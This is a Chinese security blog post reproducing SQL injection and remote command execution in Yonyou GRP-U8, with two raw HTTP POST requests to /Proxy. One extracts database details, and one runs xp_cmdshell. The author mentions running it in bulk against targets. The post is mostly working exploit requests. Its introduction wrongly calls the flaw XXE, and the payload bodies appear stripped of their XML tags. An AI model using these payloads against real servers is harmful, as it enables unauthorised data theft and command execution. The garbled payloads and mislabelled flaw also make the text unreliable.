2020-12-05用友GRP-u8 注入-RCE漏洞复现

​用友GRP-u8 注入-RCE漏洞复现

(HW第一时间复现了,当时觉得不合适,现在才发出来)

一、漏洞简介

用友GRP-u8存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导致可加载恶意外部文件。

二、漏洞复现

SQL注入POC

POST /Proxy HTTP/1.1Host: localhost:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: JSESSIONID=25EDA97813692F4D1FAFBB74FD7CFFE0Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 371​cVer=9.8.0&dp=XMLAS_DataRequestProviderNameDataSetProviderDataDataselect user,db_name(),host_name(),@@version

验证过程

批量跑了一部分(这个是HW期间第一时间跑的)现在估计没啥了

Rce注入EXP

POST /Proxy HTTP/1.1Host: localhost:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: JSESSIONID=25EDA97813692F4D1FAFBB74FD7CFFE0Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 355​cVer=9.8.0&dp=XMLAS_DataRequestProviderNameDataSetProviderDataDataexec xp_cmdshell 'ipconfig'

参考:

https://www.cnblogs.com/0day-li/p/13652897.html

https://www.uedbox.com/post/14953/

https://www.cnblogs.com/Yang34/p/13653960.html

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thelostworld

安全路上,与你并肩前行!!!!

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